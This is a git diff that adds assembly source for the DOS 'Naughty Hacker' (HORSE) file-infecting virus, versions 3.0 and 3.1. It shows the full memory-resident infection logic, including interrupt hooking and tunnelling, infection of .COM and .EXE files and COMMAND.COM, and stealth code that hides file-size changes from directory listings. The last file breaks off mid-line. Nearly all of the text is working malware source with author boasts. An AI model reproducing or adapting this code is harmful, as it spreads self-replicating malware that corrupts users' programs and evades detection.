PUSH DS ; Save DS + SUB AX,AX ; Set DS to interrupt table + MOV DS,AX + CLI ; Disable interrupts + MOV AX,CS:[offset Int13off] ; Restore int13 address + MOV [004C],AX + MOV AX,CS:[offset Int13seg] + MOV [004E],AX + + MOV [0020],offset TimerHandler ; Set int8 + MOV [0022],CS + + MOV AX,CS:[offset Dos21off] ; Restore int21 address + MOV [0084],AX + MOV AX,CS:[offset TableSegment] + MOV [0086],AX + + MOV AX,offset CriticalError ; Set int24 + MOV [0090],AX + MOV [0092],CS + + STI ; Enable interrupts + POP DS ; Restore DS + POP AX ; Restore AX + IRET ; Terminate timing +CriticalError: + MOV AL,03 ; If critical error + IRET ; then simulate Ignore +VirusAuthor: + db 'Sofia,Feb ' + db 27h + db '91 Naughty Hacker.' ; Replace this string with HORSE +EndAuthor: + + +LastCode label byte ; This is virus in file + +Int21off: DW 0 ; Variable area +Int21seg: DW 0 ; NOT writed in file +Int2Foff: DW 0 +Int2Fseg: DW 0 +TimerOff: DW 0 +TimerSeg: DW 0 +Int13off: DW 0 +Int13seg: DW 0 +Dos21off: DW 0 +TableSegment: DW 0 +FileSizeLow: DW 0 +FileSizeHi: dw 0 +FunCounter: dw 0 ; Executed function counter +LastByte: label byte ; Memory size of virus diff --git a/h/HORSE4.ASM b/h/HORSE4.ASM new file mode 100755 index 0000000..9d9096f --- /dev/null +++ b/h/HORSE4.ASM @@ -0,0 +1,958 @@ + + .radix 16 + + + ;********************************* + ;* The Naughty Hacker's virus * + ;*VERSION 3.1 (And not the last.)* + ;* ( V1594 ) * + ;* Finished on the 10.04.1991 * + ;* * + ;* Glad to meet you friend! * + ;* * + ;********************************* + +; +; "It's hard to find a black cat in a dark room, especially if it's not there." +; +; V1594 ( !@!?!). +; () , +; , +; , +; . +; ...... +; +; TURBO ASSEMBLER Ver 1.03B. +; .... +; +; VIRUSWRITERS ! +; +; +; To be continued ... +; + + + call Start_Virus + mov dx,offset Hellomsg + mov ah,9 + int 21 + int 20 + +Hellomsg db 0a,0dh,7,'HI WORLD,GIVE ME COMMAND.COM !!!',0a,0dh,7,'$' + + Virus_lenght equ endcode-adjust + alllen equ buffer-adjust + + adjust label word + + + IP_save label word + + First_3 Label Byte + ;For .COM file here stores + ret + nop + nop + + CS_save dw ? ;The first 3 bytes + SP_save dw ? + SS_save dw 0FFFF ;0FFFF For COM files + + +signature: + + db 'N.Hacker' ;It's me the HORSE !!! + +date_stamp: + + dd 10041991 ;10.04.1991 + +Run_The_Program: + + pop ds ;Restore saved ds,es,ax + pop es ;ds=es=PSP + pop ax + cmp cs:[bp+SS_save-adjust],0FFFF ;Run the infected program + je Run_COM_File + + mov ax,ds ;Calculate load segment + add ax,10 + mov bx,ax + add ax,cs:[bp+CS_save-adjust] ;Calculate CS value + add bx,cs:[bp+SS_save-adjust] ;Calculate SS value + mov ss,bx ;Run .EXE program + mov sp,word ptr cs:[bp+SP_save-adjust] + push ax + push word ptr cs:[bp+IP_save-adjust] + retf + +Run_COM_File: + + mov di,100 + mov si,bp + movsb ;Restore the first 3 bytes + movsw ;Run .COM program + mov bx,100 + push bx + sub bh,bh + ret + +;******************************************************************* +; * +; This is the program entry.... * +; * +;******************************************************************* + + +Start_Virus: + + call Get_IP ;This is to get the IP value. + +Get_IP: + pop bp ;Get it in BP. + sub bp,Get_IP-adjust ;adjust BP point to the begining + cld ;Clear direction flag + push ax ;Save some registres + push es + push ds + mov es,[2] ;get last segment + mov di,Run_The_Program-adjust ;(last segment=segment of virus) + + push ds + push cs + pop ds + mov si,di + add si,bp + mov cx,endcode-Run_The_Program + rep cmpsb ;check if virus is in memory + pop ds + push ds + pop es + je Run_The_Program ;If so then run the program + + mov word ptr cs:[bp+handle-adjust],0ffff ;set handle_save + mov ax,ds + dec ax + mov ds,ax ;ds=MCB + sub word ptr [3],80 ;Set block size + sub word ptr [12],80 ;Set last segment + mov es,[12] ;steal some memory (2K) + push cs + pop ds + sub di,di + mov si,bp ;prepare to move in high mem + mov cx,alllen ;will move virus+variables + rep movsb ;copy there + push cs + mov ax,Run_The_Program-adjust + add ax,bp + push ax + push es + mov ax,offset Set_Vectors-adjust ;Set vectors + push ax + retf + +Find_First_Next: + + call Call_Original_INT_21h ;fuck when do the dir command + push bx + push es + push ax + or al,al + jnz Go_Out_ ;if error + + mov ah,2f ;get DTA address + int 21 + + mov al,byte ptr es:[bx+30d] ;Seconds in al + and al,31d ;Mask seconds + cmp al,60d/2 ;Seconds=60? + jne Go_Out_ + + mov ax,es:[bx+36d] + mov dx,es:[bx+38d] ;Check File size + cmp ax,Virus_lenght*2 + sbb dx,0 + jb Go_Out_ + + +Adjust_Size: + + sub es:[bx+28d+7+1],Virus_lenght ;Adjust size + sbb es:[bx+28d+2+7+1],0 + +Go_Out_: + + pop ax + pop es ;Return to caller + pop bx + iret + +Find_First_Next1: + + call Call_Original_INT_21h + pushf + push ax + push bx ;fuck again + push es + jc Go_Out_1 + + mov ah,2f + int 21 + + mov al,es:[bx+22d] + and al,31d + cmp al,60d/2 + jne Go_Out_1 + + mov ax,es:[bx+26d] + mov dx,es:[bx+28d] + cmp ax,Virus_lenght*2 + sbb dx,0 + jb Go_Out_1 + +Adjust_Size1: + + sub es:[bx+26d],Virus_lenght + sbb es:[bx+28d],0 + +Go_Out_1: + + pop es + pop bx + pop ax ; Dummy proc far + popf ; ret 2 + db 0ca,2,0 ;retf 2 ; Dummy endp => BUT too long... + + + ;************************************* + ; * + ; Int 21 entry point. * + ; * + ;************************************* + + + +INT_21h_Entry_Point: + + + cmp ah,11 + je Find_First_Next ;Find First Next (old) + cmp ah,12 + je Find_First_Next + + cmp ah,4e ;Find First Next (new) + je Find_First_Next1 + cmp ah,4f + je Find_First_Next1 + + cmp ah,6ch + jne not_create ;Create (4.X) + test bl,1 + jz not_create + jnz create + +not_create: + + cmp ah,3ch ;Create (3.X) + je create + cmp ah,5bh + je create + + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + + mov byte ptr cs:[function-adjust],ah + + cmp ah,6ch ;Open (4.X) + je create_ + + cmp ah,3e ;Close + je close_ + + cmp ax,4b00 ;Exec + je Function_4Bh + + cmp ah,17 ;Rename (old) + je ren_FCB + + cmp ah,56 ;Rename (new) + je Function_4Bh + + cmp ah,43 ;Change attributes + je Function_4Bh + + cmp ah,3dh ;Open (3.X) + je open + +Return_Control: + + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + +Go_out: + + jmp dword ptr cs:[current_21h-adjust] ;go to the old int 21 + +create_: + + or bl,bl ;Create file? + jnz Return_Control + mov dx,si + jmp Function_4Bh + +ren_FCB: + + cld + inc dx + mov si,dx + mov di,offset buffer-adjust + push di + push cs + pop es ;Convert FCB format Fname into ASCIIZ string + mov cx,8 + rep movsb + mov al,'.' + stosb + mov cx,3 + rep movsb + sub al,al + stosb + pop dx + push cs + pop ds + jmp Function_4Bh + +create: + +; cmp word ptr cs:[handle-adjust],0ffff +; jne Go_out + + call Call_Original_INT_21h + jc Error + mov word ptr cs:[handle-adjust],ax + jnc Exit_ +Error: + mov word ptr cs:[handle-adjust],0ffff ;Useless +Exit_: +; retf 2 + db 0ca,2,0 + +close_: + cmp word ptr cs:[handle-adjust],0ffff + je Return_Control + cmp bx,word ptr cs:[handle-adjust] + jne Return_Control + + mov ah,45 + call Infect_It + mov word ptr cs:[handle-adjust],0ffff + jmp Return_Control + +Function_4Bh: + + mov ax,3d00h +open: + call Infect_It + jmp Return_Control + +;****************************************** +; * +; This infects the programs... * +; * +;****************************************** + +Infect_It: + + call Call_Original_INT_21h ;this is the infecting part + jnc No_error + ret + +No_error: + + xchg ax,bp + mov byte ptr cs:[flag-adjust],0 + mov ah,54 + call Call_Original_INT_21h + mov byte ptr cs:[veri-adjust],al + cmp al,1 ;Switch off verify... + jne Go_On_Setting + mov ax,2e00 + call Call_Original_INT_21h + +Go_On_Setting: + + push cs + push cs + pop ds + pop es + mov dx,offset DOS_13h-adjust + mov bx,dx ;Set New DOS int 13h + mov ah,13 + call Call_Original_INT_2Fh + + mov ax,3513 + call Call_Original_INT_21h + push bx + push es + + mov word ptr cs:[current_13h-adjust],bx + mov word ptr cs:[current_13h-adjust+2],es + + mov ah,25 + mov dx,INT_13h_entry-adjust ;Set int 13h + push cs + pop ds + call Call_Original_INT_21h + + mov ax,3524 + call Call_Original_INT_21h + push bx + push es + + mov ah,25 + mov dx,INT_24h_entry-adjust ;Set int 24h (Useless maybe...). + call Call_Original_INT_21h + + xchg bx,bp + push bx + mov ax,1220 + call Call_Original_INT_2Fh + mov bl,es:[di] ;Remember the good old V512 ? + mov ax,1216 + call Call_Original_INT_2Fh + pop bx + add di,11 + + mov byte ptr es:[di-15d],2 + mov ax,es:[di] + mov dx,es:[di+2] + cmp ax,Virus_lenght+1 + sbb dx,0 + jnb Go_on + jmp close +Go_on: + cmp byte ptr cs:[function-adjust],3dh + je Scan_name + cmp byte ptr cs:[function-adjust],6ch + jne Dont_Scan_Name + +Scan_name: + + push di + add di,0f + mov si,offset fname-adjust ;wasn't that the last opened file? + cld + mov cx,8+3 + rep cmpsb + pop di + jne Dont_Scan_Name + jmp close + +Dont_Scan_Name: + + cmp es:[di+18],'MO' + jne Check_For_EXE ;check for .COM file + cmp byte ptr es:[di+17],'C' + jne Check_For_EXE + jmp com + +Check_For_EXE: + + cmp es:[di+18],'EX' + jne Not_good ;check for .EXE file + cmp byte ptr es:[di+17],'E' + je Check_For_Valid_EXE + +Not_good: + + jmp close + +Check_For_Valid_EXE: + + call Read_First_18 + cmp word ptr [si],'ZM' + je Valid_EXE ;check for valid .EXE file + cmp word ptr [si],'MZ' + je Valid_EXE + jmp close + + Valid_EXE: + + cmp word ptr [si+0c],0ffff ;only low-mem .EXE + je Low_Mem + jmp close + +Low_Mem: + + mov cx,[si+16] + add cx,[si+8] ;Something common with EDDIE.. + mov ax,10 + mul cx + add ax,[si+14] + adc dx,0 + mov cx,es:[di] + sub cx,ax + xchg cx,ax + mov cx,es:[di+2] + sbb cx,dx + or cx,cx + jnz Not_Infected_EXE ;infected? + cmp ax,(endcode-Start_Virus) + jne Not_Infected_EXE + jmp close + +Not_Infected_EXE: + + mov ax,[si+10] + mov [SP_save-adjust],ax + mov ax,[si+0e] + mov [SS_save-adjust],ax + mov ax,[si+14] + mov [IP_save-adjust],ax + mov ax,[si+16] + mov [CS_save-adjust],ax ;set the new header + mov ax,es:[di] + mov dx,es:[di+2] + + add ax,Virus_lenght + adc dx,0 + mov cx,200 ;(C) by Lubo & Jan... + div cx + mov [si+2],dx + or dx,dx + jz OK_MOD + inc ax + +OK_MOD: + mov [si+4],ax + mov ax,es:[di] + mov dx,es:[di+2] + + mov cx,4 + push ax + +Compute: + + shr dx,1 + rcr ax,1 + loop Compute + pop dx + and dx,0f + + sub ax,[si+8] + add dx,Start_Virus-adjust + adc ax,0 + mov [si+14],dx + mov [si+16],ax + add ax,(Virus_lenght)/16d+1 + mov [si+0eh],ax + mov [si+10],100 + write: + mov ax,5700 + call Call_Original_INT_21h + push cx + push dx + + sub cx,cx + mov es:[di+4],cx + mov es:[di+6],cx + mov cl,20 + xchg cl,byte ptr es:[di-0dh] + push cx + mov ah,40 ;this writes the first few bytes and glues the virus + mov dx,buffer-adjust + mov cx,18 + + call Call_Original_INT_21h + mov ax,es:[di] + mov es:[di+4],ax + mov ax,es:[di+2] + mov es:[di+6],ax + call Check_For_COMMAND ;(C) + jne Dont_Adjust_Size + sub es:[di+4],Virus_lenght + sbb es:[di+6],0 ;??????????????????????????????? + +Dont_Adjust_Size: + + mov ah,40 + sub dx,dx + mov cx,Virus_lenght + call Call_Original_INT_21h + + pop cx + mov byte ptr es:[di-0dh],cl + pop dx + pop cx + + cmp byte ptr cs:[flag-adjust],0ff + je Set_Time_and_Date +exit: + call Check_For_COMMAND + je Set_Time_and_Date + and cl,11100000b + or cl,60d/2 + +Set_Time_and_Date: + + mov ax,5701 + call Call_Original_INT_21h +close: + + mov ah,3e + call Call_Original_INT_21h + push es + pop ds + mov si,di + add si,0f + mov di,fname-adjust + push cs + pop es + mov cx,8+3 ;save the fname to a quit place + cld + rep movsb + push cs + pop ds + + cmp byte ptr cs:[flag-adjust],0ff + jne Dont_Clear_Buffers + mov ah,0dh ;if error occured->clear disk buffers + + call Call_Original_INT_21h + +Dont_Clear_Buffers: + + les bx,[org_13h-adjust] + lds dx,[org_13h-adjust] + mov ah,13 + call Call_Original_INT_2Fh + + cmp byte ptr cs:[veri-adjust],1 + jne Restore_Vectors + mov ax,2e01 + + call Call_Original_INT_21h + +Restore_Vectors: + + sub ax,ax + mov ds,ax + pop [24*4+2] + pop [24*4] + pop [13*4+2] + pop [13*4] ;restore vectors and return + ret + com: + test byte ptr es:[di-0dh],4 ;if it is a system file + jnz Not_OK_COM_File ;I had some problems here with + ;V1160 & V1776 (with the ball) + cmp es:[di],65535d-Virus_lenght*2-100 + ja Not_OK_COM_File + + call Read_First_18 + cmp byte ptr [si],0E9 + jne OK_COM_file + mov ax,es:[di] + sub ax,[si+1] ;infected? + cmp ax,(endcode-Start_Virus+3) + je Not_OK_COM_File + +OK_COM_file: + + mov word ptr [SS_save-adjust],0FFFF + push si + lodsb + mov word ptr [First_3-adjust],ax + lodsw + mov word ptr [First_3-adjust+1],ax + pop si + mov ax,es:[di] + add ax,Start_Virus-adjust-3 + call Check_For_COMMAND + jne Normally + sub ax,Virus_lenght + +Normally: + + mov byte ptr [si],0E9 + mov word ptr [si+1],ax + jmp write + +Not_OK_COM_File: + + jmp close + +Set_Vectors: + + sub ax,ax + mov ds,ax + + push [1*4] + push [1*4+2] ; <= (C) by N.Hacker. + + pushf + pushf + pushf + pushf + + mov byte ptr cs:[flag-adjust],ah + mov byte ptr cs:[my_flag-adjust],ah + mov word ptr cs:[limit-adjust],300 + mov word ptr cs:[mem_-adjust],org_21h-adjust + + mov [1*4],offset trap-adjust + mov [1*4+2],cs + + call set_trace + + mov ax,3521 + + call dword ptr [21h*4] + + + mov byte ptr cs:[flag-adjust],0 + mov word ptr cs:[mem_-adjust],org_2fh-adjust + + call set_trace + + mov ax,1200 + + call dword ptr [2fh*4] ;do trace int 2f + + + mov byte ptr cs:[flag-adjust],0 + mov byte ptr cs:[my_flag-adjust],0FF + mov word ptr cs:[limit-adjust],0C800 + mov word ptr cs:[mem_-adjust],org_13h-adjust + + call set_trace + + sub ax,ax + mov dl,al + + call dword ptr [13h*4] ;do trace int 13 + + mov byte ptr cs:[flag-adjust],0 + mov word ptr cs:[limit-adjust],0F000 + mov word ptr cs:[mem_-adjust],Floppy_org_13h-adjust + + call set_trace + + sub ax,ax + mov dl,al + + call dword ptr [13h*4] + + pop [1*4+2] + pop [1*4] + + les ax,[21*4] + mov word ptr cs:[current_21h-adjust],ax ;get old int 21 + mov word ptr cs:[current_21h-adjust+2],es + mov [21*4], INT_21h_Entry_Point-adjust ;set it + mov [21*4+2],cs + retf + +set_trace: + + pushf + pop ax + or ax,100 + push ax + popf + ret + +trap: + push bp + mov bp,sp + push bx + push di + cmp byte ptr cs:[flag-adjust],0ff + je off + mov di,word ptr cs:[mem_-adjust] + mov bx,word ptr cs:[limit-adjust] + cmp [bp+4],bx + pushf + cmp word ptr cs:[my_flag-adjust],0ff + jne It_Is_JA + + popf + jb Go_out_of_trap + jmp It_Is_JB + +It_Is_JA: + + popf + ja Go_out_of_trap + +It_Is_JB: + + mov bx,[bp+2] + mov word ptr cs:[di],bx + mov bx,[bp+4] + mov word ptr cs:[di+2],bx + mov byte ptr cs:[flag-adjust],0ff +off: + and [bp+6],0feff + +Go_out_of_trap: + + pop di + pop bx + pop bp + iret + +Call_Original_INT_21h: + + pushf + call dword ptr cs:[org_21h-adjust] + ret + +Call_Original_INT_2Fh: + + pushf + call dword ptr cs:[org_2fh-adjust] + ret + +INT_24h_entry: + + mov al,3 + iret + +;************************** +; (C) by N.Hacker. * +; (bellow) * +;************************** + +INT_13h_entry: + + mov byte ptr cs:[next_flag-adjust],0 + + cmp ah,2 + jne Other + + cmp byte ptr cs:[function-adjust],03Eh + jne Dont_hide + + dec byte ptr cs:[next_flag-adjust] + inc ah + jmp Dont_hide + +Other: + + cmp ah,3 + jne Dont_hide + + cmp byte ptr cs:[flag-adjust],0ff + je no_error_ + + cmp byte ptr cs:[function-adjust],03Eh + je Dont_hide + + inc byte ptr cs:[next_flag-adjust] + dec ah + +Dont_hide: + + pushf + call dword ptr cs:[current_13h-adjust] + jnc no_error_ + mov byte ptr cs:[flag-adjust],0ff + +no_error_: + + clc + db 0ca,02,0 ;retf 2 + + +DOS_13h: + + cmp byte ptr cs:[next_flag-adjust],0 + je OK + + cmp ah,2 + je Next + cmp ah,3 + jne OK +Next: + cmp byte ptr cs:[next_flag-adjust],1 + jne Read + inc ah + jne OK +Read: + + dec ah +OK: + test dl,80 + jz Floppy + jmp dword ptr cs:[org_13h-adjust] +Floppy: + jmp dword ptr cs:[Floppy_org_13h-adjust] + + +Read_First_18: + + sub ax,ax + mov es:[di+4],ax + mov es:[di+6],ax + mov ah,3f + mov cx,18 + mov dx,buffer-adjust + mov si,dx + call Call_Original_INT_21h + ret + +Check_For_COMMAND: + + cmp es:[di+0f],'OC' + jne Not_COMMAND + cmp es:[di+11],'MM' + jne Not_COMMAND + cmp es:[di+13],'NA' + jne Not_COMMAND ;check for command.com + cmp es:[di+15],' D' + jne Not_COMMAND + cmp es:[di+17],'OC' + jne Not_COMMAND + cmp byte ptr es:[di+19],'M' + +Not_COMMAND: + + ret + +endcode label word + + current_21h dd ? + null dd ? ;I forgot to remove this variable... + current_13h dd ? + org_2fh dd ? + org_13h dd ? + org_21h dd ? + Floppy_org_13h dd ? + flag db ? ;0ff if error occures + veri db ? + handle dw ? + fname db 8+3 dup (?) + function db ? + my_flag db ? + limit dw ? + mem_ dw ? + next_flag db ? + +buffer label word + \ No newline at end of file diff --git a/h/HORSE5.ASM b/h/HORSE5.ASM new file mode 100755 index 0000000..28c9300 --- /dev/null +++ b/h/HORSE5.ASM @@ -0,0 +1,866 @@ + .radix 16 + + ;WARNING: THIS IS NOT A BASIC RELEASE BUT A WORK COPY! + ;It seems that somebody had steal this version and + ;circulates it now. + + title The Naughty Hacker's virus version 3.0 + comment / Naughty Hacker wishes you the best ! / + + jmp start + + virlen equ offset endcode-offset begin + alllen equ offset buffer-offset begin + +begin label word + + IP_save dw 20cdh + CS_save dw ? + SS_save dw ? + far_push dw ? + ident db 'C' +start: + call inf +inf: + pop bp + sub bp,offset start-offset begin+3 + push es + push ds + mov es,es:[2] + mov di,start-begin + push ds + push cs + pop ds + mov si,di + add si,bp + mov cx,endcode-inf + cld + rep cmpsb + pop ds + push ds + pop es + je run +ina: + cmp word ptr [0],20cdh + je urud + jmp run +urud: + mov word ptr cs:[bp+handle-begin],0ffff + mov word ptr cs:[bp+counter-begin],2345 + mov ax,ds + dec ax + mov ds,ax + sub word ptr [3],80 + mov ax,es:[2] + sub ax,80 + mov es:[2],ax + push ax + + sub di,di + mov si,bp + mov ds,di + pop es + push cs + pop ds + mov cx,alllen + rep movsb + push cs + mov ax,offset run-begin + add ax,bp + push ax + push es + mov ax,offset inss-100-3 + push ax + retf +run: + pop ds + pop es + cmp byte ptr cs:[bp+ident-begin],'C' + je comfile + mov dx,cs:[bp+CS_save-begin] + mov cx,cs + sub cx,word ptr cs:[bp+far_push-begin] + add dx,cx + add cx,cs:[bp+SS_save-begin] + cli + mov ss,cx + sti +clear: + push dx + push word ptr cs:[bp+IP_save-begin] + call clearr + retf +comfile: + mov ax,cs:[bp+IP_save-begin] + mov [100],ax + mov ax,cs:[bp+CS_save-begin] + mov [102],ax + mov ax,100 + push ax + call clearr + retn +cur: + call exec + push bx + push es + push si + push ax + mov si,dx + cmp byte ptr [si],0ff + jne puf + mov ah,2f + call exec + + mov al,byte ptr es:[bx+22d+7+1] + and al,31d + cmp al,31d + jnz puf + cmp word ptr es:[bx+28d+2+7+1],0 + jne scs + cmp word ptr es:[bx+28d+7+1],virlen*2 + jb puf +scs: + sub word ptr es:[bx+28d+7+1],virlen + sbb word ptr es:[bx+28d+2+7+1],0 +puf: + pop ax + pop si + pop es + pop bx + iret + +inff: + dec word ptr cs:[counter-begin] + jnz neass + call shop +neass: + cmp ah,11 + je cur + cmp ah,12 + je cur + + cmp ah,4e + jne cur1.1 + jmp cur1 +cur1.1: + cmp ah,4f + jne cur1.2 + jmp cur1 +cur1.2: + cmp ah,3ch + je create + cmp ah,5bh + je create + + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + + mov byte ptr cs:[function-begin],ah + + cmp ah,3dh + je open + + cmp ah,3e + je close_ + + cmp ax,4b00 + je execute + + cmp ah,17 + je ren_FCB + + cmp ah,56 + je execute + + cmp ah,43 + je execute + +here: + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[current_21h-begin] + +ren_FCB: + call transfer + call coont + jmp here + +create: + call exec + mov word ptr cs:[handle-begin],ax + db 0ca,2,0 +close_: + cmp word ptr cs:[handle-begin],0ffff + je here + cmp bx,word ptr cs:[handle-begin] + jne here + mov ah,45 + call coont + mov word ptr cs:[handle-begin],0ffff + jmp here +execute: + mov ah,3dh + call coont + jmp here +open: + call coont + jmp here +cur1: + call exec + pushf + push ax + push bx + push es + + mov ah,2f + call exec + + mov al,es:[bx+22d] + and al,31d + cmp al,31d + jne puf1 + + cmp es:[bx+28d],0 + jne scs1 + cmp es:[bx+26d],virlen*2 + jb puf1 +scs1: + sub es:[bx+26d],virlen + sbb es:[bx+28d],0 +puf1: + pop es + pop bx + pop ax + popf + db 0ca,2,0 ;retf 2 +coont: + call exec + jnc ner + ret +ner: + mov bp,ax + mov byte ptr cs:[flag-begin],0 + mov ah,54 + call exec + mov byte ptr cs:[veri-begin],al + cmp al,1 + jne rty + mov ax,2e00 + call exec +rty: + mov ax,3508 + call exec + mov word ptr cs:[current_08h-begin],bx + mov word ptr cs:[current_08h-begin+2],es + push bx + push es + mov al,21 + call exec + push bx + push es + mov al,24 + call exec + push bx + push es + mov al,13 + call exec + push bx + push es + mov ah,25 + mov dx,int13h-begin + push cs + pop ds + call exec + mov al,21 + lds dx,cs:[org_21h-begin] + call exec + mov al,24 + push cs + pop ds + mov dx,int24h-begin + int 21 + mov al,8 + mov dx,int08h-begin + int 21 + mov bx,bp + push bx + mov ax,1220 + call exec2f + mov bl,es:[di] + mov ax,1216 + call exec2f + pop bx + add di,11 + mov byte ptr es:[di-15d],2 + mov ax,es:[di] + mov dx,es:[di+2] + cmp dx,0 + jne contss + cmp ax,virlen + jnb contss + jmp close +contss: + cmp byte ptr cs:[function-begin],3dh + jne hhh + push di + add di,0f + mov si,offset fname-begin + cld + mov cx,8+3 + rep cmpsb + pop di + jne hhh + jmp close +hhh: + cmp es:[di+18],'MO' + jne a2 + jmp com +a2: + cmp es:[di+18],'EX' + je a8 + jmp close +a8: + cmp byte ptr es:[di+17],'E' + je a3 + jmp close +a3: + call cont + cmp word ptr [si],'ZM' + je okk + cmp word ptr [si],'MZ' + je okk + jmp close + okk: + cmp word ptr [si+0c],0 + jne uuu + jmp close +uuu: + mov cx,[si+16] + add cx,[si+8] + mov ax,10 + mul cx + add ax,[si+14] + adc dx,0 + mov cx,es:[di+2] + sub cx,dx + or cx,cx + jnz usm + mov cx,es:[di] + sub cx,ax + cmp cx,virlen-(start-begin) + jne usm + jmp close +usm: + mov byte ptr [ident-begin],'E' + mov ax,[si+0e] + mov [SS_save-begin],ax + mov ax,[si+14] + mov [IP_save-begin],ax + mov ax,[si+16] + mov [CS_save-begin],ax + mov ax,es:[di] + mov dx,es:[di+2] + add ax,virlen + adc dx,0 + mov cx,200 + div cx + mov [si+2],dx + or dx,dx + jz oj + inc ax +oj: + mov [si+4],ax + mov ax,es:[di] + mov dx,es:[di+2] + + mov cx,4 ; This could be so: + mov bp,ax ; + and bp,0fh ; mov cx,10 +lpp: ; div cx + shr dx,1 ; + rcr ax,1 ; + loop lpp ; + mov dx,bp ; + + sub ax,[si+8] + add dx,start-begin + adc ax,0 + mov [si+14],dx + mov [si+16],ax + mov word ptr [far_push-begin],ax + add ax,200 + mov [si+0eh],ax + write: + sub cx,cx + mov es:[di+4],cx + mov es:[di+6],cx + push es:[di-2] + push es:[di-4] + xchg cx,es:[di-0dh] + push cx + mov ah,40 + mov dx,buffer-begin + mov cx,01bh + int 21 + cmp byte ptr cs:[flag-begin],0ff + jne ghj + stc + jc exit +ghj: + mov ax,es:[di] + mov es:[di+4],ax + mov ax,es:[di+2] + mov es:[di+6],ax + call com? + jne f2 + sub es:[di+4],virlen + sbb es:[di+6],0 +f2: + mov ah,40 + sub dx,dx + mov cx,virlen + int 21 + cmp byte ptr cs:[flag-begin],0ff + jne exit + stc + exit: + pop cx + mov es:[di-0dh],cx + pop cx + pop dx + or byte ptr es:[di-0bh],40 + jc closed + call com? + jne f3 + and cx,31d + or cx,2 + jmp closed +f3: + or cx,31d +closed: + mov ax,5701 + int 21 +close: + mov ah,3e + int 21 + or byte ptr es:[di-0ch],40 + + push es + pop ds + mov si,di + add si,0f + mov di,offset fname-begin + push cs + pop es + mov cx,8+3 + cld + rep movsb + push cs + pop ds + + cmp byte ptr cs:[flag-begin],0ff + jne qw + mov ah,0dh + int 21 +qw: + cmp byte ptr cs:[veri-begin],1 + jne rtyyu + mov ax,2e01 + call exec +rtyyu: + sub ax,ax + mov ds,ax + cli + pop [13*4+2] + pop [13*4] + pop [24*4+2] + pop [24*4] + pop [21*4+2] + pop [21*4] + pop [8*4+2] + pop [8*4] + sti + retn + com: + test byte ptr es:[di-0dh],4 + jz esc4 + jmp close +esc4: + call cont + cmp byte ptr [si],0e9 + jne usm2 + mov ax,es:[di] + sub ax,[si+1] + cmp ax,virlen-(start-begin-3) + jne usm2 + jmp close +usm2: + push si + cmp byte ptr es:[di+17],'C' + jne esc + mov byte ptr [ident-begin],'C' + lodsw + mov cs:[IP_save-begin],ax + lodsw + mov cs:[CS_save-begin],ax + mov ax,es:[di] + cmp ax,65535d-virlen-1 + pop si + jb esc + jmp close +esc: + add ax,start-begin-3 + call com? + jne f1 + sub ax,virlen +f1: + mov byte ptr [si],0e9 + mov word ptr [si+1],ax + jmp write +inss: + + sub ax,ax + mov ds,ax + + pushf + pop ax + and ax,0feff + push ax + popf + + pushf + + mov [1*4],offset trap-begin + mov [1*4+2],cs + + pushf + pop ax + or ax,100 + push ax + popf + + mov ax,0ffff + call dword ptr [21h*4] + + sub ax,ax + mov ds,ax + + pushf + pop ax + and ax,0feff + push ax + popf + + pushf + + mov [1*4],offset trap2-begin + mov [1*4+2],cs + + pushf + pop ax + or ax,100 + push ax + popf + + mov ax,0ffff + call dword ptr [2fh*4] + + sub ax,ax + mov ds,ax + + pushf + pop ax + and ax,0feff + push ax + popf + + pushf + + mov [1*4],offset trap3-begin + mov [1*4+2],cs + + pushf + pop ax + or ax,100 + push ax + popf + + sub ax,ax + call dword ptr [13h*4] + + sub ax,ax + mov ds,ax + + les ax,[21*4] + mov word ptr cs:[current_21h-begin],ax + mov word ptr cs:[current_21h-begin+2],es + mov [21*4],offset inff-begin + mov [21*4+2],cs + retf + +trap: + push bp + mov bp,sp + push bx + cmp [bp+4],300 + ja exit2 + mov bx,[bp+2] + mov word ptr cs:[org_21h-begin],bx + mov bx,[bp+4] + mov word ptr cs:[org_21h-begin+2],bx + and [bp+6],0feff +exit2: + pop bx + pop bp + iret + +trap2: + push bp + mov bp,sp + push bx + cmp [bp+4],100 + ja exit3 + mov bx,[bp+2] + mov word ptr cs:[org_2fh-begin],bx + mov bx,[bp+4] + mov word ptr cs:[org_2fh-begin+2],bx + and [bp+6],0feff +exit3: + pop bx + pop bp + iret + + +trap3: + push bp + mov bp,sp + push bx + cmp [bp+4],0C800 + jb exit4 + mov bx,[bp+2] + mov word ptr cs:[org_13h-begin],bx + mov bx,[bp+4] + mov word ptr cs:[org_13h-begin+2],bx + and [bp+6],0feff +exit4: + pop bx + pop bp + iret + +exec: + pushf + call dword ptr cs:[org_21h-begin] + ret + + +exec2f: + pushf + call dword ptr cs:[org_2fh-begin] + ret +int08h: + pushf + call dword ptr cs:[current_08h-begin] + push ax + push ds + sub ax,ax + mov ds,ax + cli + mov [13*4],offset int13h-begin + mov [13*4+2],cs + mov [8*4],offset int08h-begin + mov [8*4+2],cs + mov ax,word ptr cs:[org_21h-begin] + mov [21*4],ax + mov ax,word ptr cs:[org_21h-begin+2] + mov [21*4+2],ax + mov [24*4],offset int24h-begin + mov [24*4+2],cs + sti + pop ds + pop ax + iret +int24h: + mov al,3 + iret +int13h: + pushf + call dword ptr cs:[org_13h-begin] + jnc dfg + mov byte ptr cs:[flag-begin],0ff +dfg: + clc + db 0ca,02,0 ;retf 2 + +cont: + sub ax,ax + mov es:[di+4],ax + mov es:[di+6],ax + mov ah,3f + mov cx,01bh + mov dx,offset buffer-begin + mov si,dx + int 21 + cmp byte ptr cs:[flag-begin],0ff + jne a1 + stc + pop ax + jmp close +a1: + ret +com?: + cmp es:[di+0f],'OC' + jne zz + cmp es:[di+11],'MM' + jne zz + cmp es:[di+13],'NA' + jne zz + cmp es:[di+15],' D' + jne zz + cmp es:[di+17],'OC' + jne zz + cmp byte ptr es:[di+19],'M' +zz: + ret +transfer: + + cld + inc dx + mov si,dx + mov di,offset buffer-begin + push di + push cs + pop es + mov cx,8 + rep movsb + mov al,'.' + stosb + mov cx,3 + rep movsb + mov al,0 + stosb + pop dx + push cs + pop ds + mov ax,3d00 + ret +e1: + cli + push ax + push di + push es + mov ax,0b800 + mov es,ax + mov ax,word ptr cs:[pos-begin] + push ax + call comp + mov ax,word ptr 